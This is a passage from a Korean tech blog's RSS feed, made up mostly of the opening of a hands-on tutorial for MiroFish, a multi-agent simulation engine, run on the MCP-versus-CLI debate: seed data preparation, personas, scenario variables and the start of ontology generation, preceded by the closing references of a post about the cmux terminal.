&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://github.com/mkurman/cmux-windows&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;cmux-windows&lt;/a&gt; (Windows 프로젝트)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=47079718&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News Show HN 토론&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://betterstack.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Better Stack&lt;/a&gt; &amp;mdash; cmux 리뷰 아티클&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://zenn.dev/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Zenn.dev&lt;/a&gt; &amp;mdash; 일본어 cmux 가이드&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://www.daleseo.com/cmux/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Dale Seo 블로그 &amp;mdash; cmux 사용기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a href=&quot;https://www.ycombinator.com/companies/manaflow&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;YC &amp;mdash; Manaflow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;이 글에서 사용한 모든 명령어는 &lt;code&gt;cmux --help&lt;/code&gt; 및 &lt;code&gt;cmux browser --help&lt;/code&gt; (v0.62.2) 출력에서 직접 검증했습니다.&lt;/b&gt;&lt;br /&gt;cmux는 빠르게 발전 중인 도구이므로, 버전 업데이트 시 &lt;code&gt;cmux --help&lt;/code&gt;로 최신 명령어를 확인하는 것을 권장합니다.&lt;/div&gt;
&lt;div style=&quot;text-align: center; padding: 30px 0; border-top: 2px solid #eee; margin-top: 40px;&quot;&gt;
&lt;p style=&quot;color: #666; font-size: 14px;&quot; data-ke-size=&quot;size16&quot;&gt;cmux v0.62.2 기준 | 2026년 3월 23일 작성&lt;br /&gt;명령어 검증: &lt;code&gt;cmux --help&lt;/code&gt; 및 &lt;code&gt;cmux browser --help&lt;/code&gt; 실제 출력 기반&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/DevTools for AI</category>
      <category>AI 에이전트 터미널</category>
      <category>Claude Code 연동</category>
      <category>cmux</category>
      <category>cmux 설치</category>
      <category>Ghostty 터미널</category>
      <category>macOS 터미널</category>
      <category>read-screen API</category>
      <category>tmux 대안</category>
      <category>멀티 에이전트 개발</category>
      <category>터미널 내장 브라우저</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/557</guid>
      <comments>https://goddaehee.tistory.com/557#entry557comment</comments>
      <pubDate>Mon, 23 Mar 2026 00:14:41 +0900</pubDate>
    </item>
    <item>
      <title>MiroFish 뜯어보기(2) - 실습편 : 문서 하나로 수천 명의 가상 인간을 시뮬레이션하는 집단 지능 엔진 사용해보기(mcp vs cli)</title>
      <link>https://goddaehee.tistory.com/556</link>
      <description>&lt;script type=&quot;application/ld+json&quot;&gt;
{
    &quot;@context&quot;: &quot;https://schema.org&quot;,
    &quot;@graph&quot;: [
        {
            &quot;@type&quot;: &quot;TechArticle&quot;,
            &quot;headline&quot;: &quot;MiroFish 튜토리얼: MCP 논쟁 주제로 5단계 시뮬레이션 직접 따라하기&quot;,
            &quot;description&quot;: &quot;MCP가 AI 에이전트 표준이 될 수 있는가를 주제로 MiroFish의 온톨로지 생성·지식 그래프·시뮬레이션·보고서·심층 대화 5단계를 직접 따라하는 실습 가이드.&quot;,
            &quot;datePublished&quot;: &quot;2026-03-01&quot;,
            &quot;dateModified&quot;: &quot;2026-03-22&quot;,
            &quot;author&quot;: {
                &quot;@type&quot;: &quot;Person&quot;,
                &quot;name&quot;: &quot;갓대희&quot;
            },
            &quot;publisher&quot;: {
                &quot;@type&quot;: &quot;Organization&quot;,
                &quot;name&quot;: &quot;갓대희 블로그&quot;
            }
        },
        {
            &quot;@type&quot;: &quot;FAQPage&quot;,
            &quot;mainEntity&quot;: [
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;MiroFish 시뮬레이션을 시작하기 위한 시드 데이터는 어떻게 준비하나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;시드 데이터는 마크다운 파일 하나로 준비합니다. 찬성·반대·조건부 진영별 논거를 명확하게 정리하는 것이 핵심입니다. MCP 논쟁의 경우 찬성 5개(32개+ 플랫폼 지원, 엔터프라이즈 필수 등), 반대 6개(32배 토큰 오버헤드, CLI 우위 등), 조건부 논거를 구조화하여 seed_mcp_vs_cli.md 파일로 작성했습니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;MiroFish의 온톨로지 생성과 지식 그래프 단계는 무엇을 하나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;Step 1 온톨로지 생성에서는 AI가 시드 문서를 읽고 핵심 개념·관계·엔티티를 추출하여 구조화합니다. Step 2 지식 그래프 구축(GraphRAG)에서는 이 온톨로지를 기반으로 개념 간 연결 관계를 그래프로 만들어 가상 에이전트들이 참조할 지식 베이스를 완성합니다. 이 두 단계의 품질이 이후 시뮬레이션 토론의 깊이를 결정합니다.&quot;
                    }
                },
                {
                    &quot;@type&quot;: &quot;Question&quot;,
                    &quot;name&quot;: &quot;MiroFish 시뮬레이션 실행 비용과 따라하기 가이드는 어떻게 되나요?&quot;,
                    &quot;acceptedAnswer&quot;: {
                        &quot;@type&quot;: &quot;Answer&quot;,
                        &quot;text&quot;: &quot;Zhipu AI glm-4.5-air 모델 기준 MCP 논쟁 시뮬레이션 1회 비용은 수백 원 수준입니다. 시드 파일 준비 → docker compose up → 웹 UI에서 파일 업로드 → 5단계 파이프라인 실행 → 보고서 확인 순서로 진행합니다. 36명의 가상 전문가가 Twitter·Reddit 형식으로 N라운드 토론한 결과와 분석 보고서가 자동으로 생성됩니다.&quot;
                    }
                }
            ]
        }
    ]
}
&lt;/script&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이번 글은 MiroFish를 실제로 한번 사용해보려 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2712&quot; data-origin-height=&quot;1340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3UkPG/dJMcad2nv6D/ZMtOk2rtjP0k7CKdDQsGPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3UkPG/dJMcad2nv6D/ZMtOk2rtjP0k7CKdDQsGPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3UkPG/dJMcad2nv6D/ZMtOk2rtjP0k7CKdDQsGPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3UkPG%2FdJMcad2nv6D%2FZMtOk2rtjP0k7CKdDQsGPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2712&quot; height=&quot;1340&quot; data-origin-width=&quot;2712&quot; data-origin-height=&quot;1340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;주제는 요즘 개발자 커뮤니티에서 가장 뜨거운 논쟁 중 하나인 &lt;b&gt;&quot;MCP(Model Context Protocol)가 AI 에이전트 표준이 될 수 있을까?&quot;&lt;/b&gt;&amp;nbsp;골랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시드 파일 하나를 넣으면, 여러명의 가상 전문가(eric_holmes_290, m00nlygreat_495, charles_chen_543, itter_348 등 36명)가 Twitter와 Reddit에서 N라운드 동안 토론하고, 분석 보고서까지 자동으로 나온다는 흐름이다.&lt;/p&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;준비: 질문 정하고 시드 데이터 만들기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Step 1: 온톨로지 생성 &amp;mdash; AI가 문서를 읽는 방법&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Step 2: 지식 그래프 구축 &amp;mdash; GraphRAG&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Step 3: 시뮬레이션 실행 &amp;mdash; 가상 토론장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Step 4: 보고서 생성 &amp;mdash; ReportAgent의 분석&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Step 5: 심층 대화 &amp;mdash; 보고서 Agent에게 질문하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결과 해석: MCP의 미래는?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;비용 &amp;amp; 따라하기 가이드&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ========== 0. 준비 ========== --&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;0. 준비: 질문 정하고 시드 데이터 만들기&lt;/h2&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;왜 MCP 논쟁을 골랐나&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;MCP는 2024년 11월 Anthropic이 공개한 AI 에이전트-외부 도구 연결 프로토콜이다. 2026년 3월 현재 32개 이상의 플랫폼이 공식 지원하지만, &quot;32배 토큰 오버헤드&quot;라는 치명적 비판과 함께 CLI 기반 대안이 빠르게 부상하고 있다. &lt;b&gt;찬성/반대/조건부&lt;/b&gt;가 명확히 갈리는 주제라서 시뮬레이션 소재로 적합했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;시드 데이터 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시뮬레이션에 넣을 시드 데이터는 마크다운 파일 하나다. 핵심은 &lt;b&gt;논쟁 구조를 명확하게 정리하는 것&lt;/b&gt;이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #0066cc; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;진영&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: center; border: 1px solid #005cb3;&quot;&gt;논거 수&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #005cb3;&quot;&gt;핵심 주장&lt;/th&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #d4edda;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;찬성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid #ddd;&quot;&gt;5개&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;사실상 표준(32개+ 플랫폼), 통합 기능 강력, 엔터프라이즈 필수, 토큰 절약 솔루션 등장, 크로스플랫폼 이식성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;반대&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid #ddd;&quot;&gt;6개&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;스키마 블로트(32배 토큰), Perplexity CTO MCP 포기 선언, CLI의 현실적 우위, cmux 터미널 통신, 한국팀 CLI 선택&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;조건부&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; text-align: center; border: 1px solid #ddd;&quot;&gt;상황별&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #ddd;&quot;&gt;엔터프라이즈는 MCP, 스타트업은 CLI &amp;mdash; 하이브리드가 현실적&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;시드 파일 작성: 소스와 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시드 파일(&lt;code&gt;seed_mcp_vs_cli.md&lt;/code&gt;)은 직접 작성한 마크다운 문서다. 기존에 블로그에 써둔 MCP 관련 글 6편을 소스로 삼았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;ex) 주요 토픽&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/555&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP vs CLI 2편: 개인은 CLI, 조직은 MCP &amp;mdash; 엔터프라이즈 관점의 반론&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goddaehee.tistory.com/535&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장과 한국 개발자 반응 : MCP vs CLI, 개발자는 무엇을 써야 하는가?&lt;/a&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;소스 문서 6편 활용 방식&lt;/b&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #e8f0fe;&quot;&gt;
&lt;th style=&quot;padding: 8px 10px; text-align: left; border: 1px solid #c5d5f5;&quot;&gt;소스&lt;/th&gt;
&lt;th style=&quot;padding: 8px 10px; text-align: left; border: 1px solid #c5d5f5;&quot;&gt;활용 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;mcp_vs_cli.html&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;전문 추출&lt;/b&gt; &amp;mdash; Eric Holmes CLI 우위론 + GeekNews 반응 7건&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;mcp_dead_long_live_mcp.html&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;전문 추출&lt;/b&gt; &amp;mdash; Charles Chen MCP 반박 + Hacker News 반응 9건&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;supabase / vercel / codex / serena&lt;/code&gt; 4편&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;결론/패턴만&lt;/b&gt; &amp;mdash; 각 서비스의 실제 MCP/CLI 선택 패턴 2줄 요약&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;블로그 전문을 그대로 넣지 않고,&lt;/b&gt; 논쟁 구조만 뽑아서 재구성했다. 실제 &lt;code&gt;seed_mcp_vs_cli.md&lt;/code&gt;의 섹션 구성은 다음과 같다:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0fff0; padding: 15px 20px; border-radius: 8px; border: 1px solid #98d98e; margin: 15px 0; font-size: 14px; line-height: 1.9;&quot;&gt;&lt;b&gt;seed_mcp_vs_cli.md 섹션 구성 (3KB)&lt;/b&gt;&lt;br /&gt;1. 배경: 두 진영의 충돌 (Eric Holmes vs Charles Chen)&lt;br /&gt;2. CLI 진영 핵심 논거 5가지&lt;br /&gt;3. MCP의 현실적 문제점 (CLI 진영 지적)&lt;br /&gt;4. MCP 진영 핵심 논거 5가지&lt;br /&gt;5. stdio MCP vs HTTP MCP 구분 (핵심 반전)&lt;br /&gt;6. 실제 서비스별 비교 사례 (Supabase/Vercel/Codex/Serena)&lt;br /&gt;7. GeekNews 커뮤니티 핵심 의견 7건&lt;br /&gt;8. Hacker News 핵심 의견 9건&lt;br /&gt;9. 핵심 쟁점 8가지 (토론 포인트)&lt;br /&gt;10. 페르소나 표 + 시뮬레이션 가이드&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 12px 16px; border-radius: 8px; border-left: 4px solid #ffc107; margin: 15px 0;&quot;&gt;&lt;b&gt;3KB가 나온 이유:&lt;/b&gt; 커뮤니티 인용 16건을 1~2줄로 압축하고, 각 논거도 핵심 문장만 남겼다. &quot;32배 토큰 오버헤드&quot;, &quot;월 $55 vs $3&quot; 같은 구체적 수치는 반드시 포함 &amp;mdash; LLM이 수치를 보면 에이전트 발언이 훨씬 날카로워진다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;시뮬레이션 요구사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;시드 데이터 외에 별도의 &lt;code&gt;simulation-requirement.md&lt;/code&gt;를 작성했다. 시뮬레이션이 답해야 할 질문과 조건을 여기에 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f8ff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;5개 핵심 질문&lt;/b&gt;
&lt;ol style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;MCP가 사실상 표준으로 유지될까, 경쟁 프로토콜에 밀릴까?&lt;/li&gt;
&lt;li&gt;스키마 블로트(32배 토큰 오버헤드) 문제가 해결될까?&lt;/li&gt;
&lt;li&gt;CLI 기반 워크플로가 MCP를 대체할까, 보완할까?&lt;/li&gt;
&lt;li&gt;엔터프라이즈 vs 스타트업에서 MCP 채택률 차이는?&lt;/li&gt;
&lt;li&gt;한국 개발자 커뮤니티의 CLI 선호가 글로벌 트렌드에 영향을 줄까?&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f8ff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;6개 페르소나 지정&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;엔터프라이즈 아키텍트&lt;/b&gt; &amp;mdash; 보안/컴플라이언스 중시, 표준화 선호&lt;/li&gt;
&lt;li&gt;&lt;b&gt;스타트업 CTO&lt;/b&gt; &amp;mdash; 비용 민감, ROI 중시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;프론트엔드 개발자&lt;/b&gt; &amp;mdash; Figma MCP 사용자&lt;/li&gt;
&lt;li&gt;&lt;b&gt;백엔드 개발자&lt;/b&gt; &amp;mdash; API 설계, CLI 선호 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;오픈소스 기여자&lt;/b&gt; &amp;mdash; 표준화/호환성 중시&lt;/li&gt;
&lt;li&gt;&lt;b&gt;AI 도구 평론가/블로거&lt;/b&gt; &amp;mdash; 벤치마크 데이터 기반 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f8ff; padding: 15px 20px; border-radius: 8px; border: 1px solid #b8daff; margin: 15px 0;&quot;&gt;&lt;b&gt;4개 God's Eye View 변수&lt;/b&gt; (시뮬레이션 중 주입 가능한 충격 시나리오)
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;OpenAI가 MCP 대항 프로토콜을 공식 발표하면?&quot;&lt;/li&gt;
&lt;li&gt;&quot;MCP 스키마 블로트 해결 업데이트(MCP v2)가 출시되면?&quot;&lt;/li&gt;
&lt;li&gt;&quot;Google이 Gemini CLI 전용 프로토콜을 강제하면?&quot;&lt;/li&gt;
&lt;li&gt;&quot;주요 MCP 서버 3곳이 보안 취약점으로 동시 다운되면?&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;시뮬레이션 시작&amp;nbsp;&lt;/h3&gt;
&lt;!-- ========== 1. Step 1: 온톨로지 생성 ========== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 상기 내용대로 준비된 파일 및 프롬프트를 입력하자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2686&quot; data-origin-height=&quot;1478&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0cgRd/dJMcahDJ1xJ/OTU74lQ8JWZhuWqwt9vtT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0cgRd/dJMcahDJ1xJ/OTU74lQ8JWZhuWqwt9vtT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0cgRd/dJMcahDJ1xJ/OTU74lQ8JWZhuWqwt9vtT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0cgRd%2FdJMcahDJ1xJ%2FOTU74lQ8JWZhuWqwt9vtT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2686&quot; height=&quot;1478&quot; data-origin-width=&quot;2686&quot; data-origin-height=&quot;1478&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 온톨로지 생성 시작이 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2734&quot; data-origin-height=&quot;1408&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMJByJ/dJMcafeUQMV/VuYWGQHplhw9dHyTURPsi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMJByJ/dJMcafeUQMV/VuYWGQHplhw9dHyTURPsi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMJByJ/dJMcafeUQMV/VuYWGQHplhw9dHyTURPsi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMJByJ%2FdJMcafeUQMV%2FVuYWGQHplhw9dHyTURPsi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2734&quot; height=&quot;1408&quot; data-origin-width=&quot;2734&quot; data-origin-height=&quot;1408&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #1a1a1a; border-bottom: 3px solid #0066cc; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;1. Step 1: 온톨로지 생성 &amp;mdash; AI가 문서를 읽는 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&quot;엔진 시작&quot; 버튼을 누르면 MiroFish가 시드 데이터를 LLM에게 보내서 &lt;b&gt;엔티티(개체)&lt;/b&gt;와 &lt;b&gt;릴레이션(관계)&lt;/b&gt;를 추출한다. 사람이 문서를 읽을 때 &quot;누가 등장하고, 서로 어떤 관계인지&quot;를 파악하는 것과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0066cc; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;무슨 일이 일어나는가&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;LLM이 시드 문서를 읽고 다음을 자동으로 뽑아낸다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1467&quot; data-origin-height=&quot;755&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPbgJg/dJMcadnNbpE/keabWqSujFWZNlUZcGyDGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPbgJg/dJMcadnNbpE/keabWqSujFWZNlUZcGyDGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPbgJg/dJMcadnNbpE/keabWqSujFWZNlUZcGyDGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPbgJg%2FdJMcadnNbpE%2FkeabWqSujFWZNlUZcGyDGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1467&quot; height=&quot;755&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1467&quot; data-origin-height=&quot;755&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
